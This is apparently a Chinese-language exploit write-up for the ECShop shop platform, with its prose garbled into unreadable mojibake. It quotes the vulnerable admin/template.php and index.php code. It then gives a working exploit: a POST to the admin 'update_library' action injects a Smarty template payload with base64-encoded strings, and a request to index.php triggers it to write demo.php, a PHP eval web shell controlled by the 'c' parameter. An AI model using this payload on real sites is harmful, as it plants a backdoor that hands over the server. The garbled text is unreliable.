Ecshop̨getshell
ecshopõsmarty Ϳͨfetchִģģִphp룬ֻҪдģ ȻҵþͿõshell
ecshopƺ֧{php}{/php}ǩִphp
admin/template.php
1 if ($_REQUEST['act'] == 'update_library')
2
3 {
4 check_authz_json('library_manage');
5
6 $html = stripslashes(json_str_iconv($_POST['html']));
7
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //ģļ
9
10 $lib_file = str_replace("0xa", '', $lib_file); // 0xa Ƿַ
11
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
13
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//д
15 {
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
17 make_json_result('', $_LANG['update_lib_success']);
18 }
19 else
20 {
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
22 }
23 }
ôҸȽϷģļ
index.php
1 if ($act == 'cat_rec')
2
3 {
4
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
6
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
10
11 include_once('includes/cls_json.php');
12
13 $json = new JSON;
14
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
16
17 $children = get_children($cat_id);
18
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // ƼƷ
20
21 $smarty->assign('cat_rec_sign', 1);
22
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//ʹģļ ģļΪrecommend_best
24
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
26
27 echo $rec_array[$rec_type];
28
29 die($json->encode($result));
30
31 }
ô÷
posthttp://localhost/ec/admin/template.php?act=update_library
Postݣ
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
Ȼhttp://localhost/ec/index.php?act=cat_rec
shelַhttp://localhost/ec/demo.php
c
ҳ:
[1]